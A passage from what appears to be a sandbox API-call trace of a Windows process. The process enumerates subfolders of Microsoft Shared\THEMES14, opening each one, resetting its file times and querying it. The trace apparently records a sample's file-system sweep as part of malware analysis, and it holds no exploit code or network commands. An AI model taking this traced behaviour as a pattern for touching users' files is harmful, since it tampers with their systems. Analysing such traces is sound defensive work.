dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.504] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.505] GetLastError () returned 0x12 [0144.505] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.507] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.507] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a83c8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a83c8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.508] GetLastError () returned 0x12 [0144.508] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.508] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.508] GetLastError () returned 0x12 [0144.508] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.510] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.510] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a83c8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a83c8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.510] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.511] GetLastError () returned 0x12 [0144.511] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.512] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.512] GetLastError () returned 0x12 [0144.512] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.514] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.514] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a83c8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a83c8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.514] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.515] GetLastError () returned 0x12 [0144.515] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.515] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.515] GetLastError () returned 0x12 [0144.515] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.517] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.517] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a8bc8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a8bc8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.517] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.518] GetLastError () returned 0x12 [0144.518] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.518] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.518] GetLastError () returned 0x12 [0144.518] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.520] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.520] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a8bc8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a8bc8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.520] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.521] GetLastError () returned 0x12 [0144.521] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.521] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.521] GetLastError () returned 0x12 [0144.521] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.523] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.523] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a9350, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a9350, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.523] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.524] GetLastError () returned 0x12 [0144.524] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.525] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.525] GetLastError () returned 0x12 [0144.525] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.527] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.527] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a9350, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a9350, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.527] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.528] GetLastError () returned 0x12 [0144.528] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.528] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.528] GetLastError () returned 0x12 [0144.528] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.530] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.530] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a9350, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a9350, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.530] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.531] GetLastError () returned 0x12 [0144.531] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.531] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.532] GetLastError () returned 0x12 [0144.532] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.533] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.533] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ab350, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9ab350, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.533] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.534] GetLastError () returned 0x12 [0144.534] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.534] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.535] GetLastError () returned 0x12 [0144.535] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.537] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.537] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9abb18, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9abb18, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.538] GetLastError () returned 0x12 [0144.538] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.538] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.538] GetLastError () returned 0x12 [0144.538] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.539] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.540] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9abb18, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9abb18, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.540] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.541] GetLastError () returned 0x12 [0144.541] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.541] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.541] GetLastError () returned 0x12 [0144.541] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.543] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.543] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9abb18, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9abb18, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.543] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, 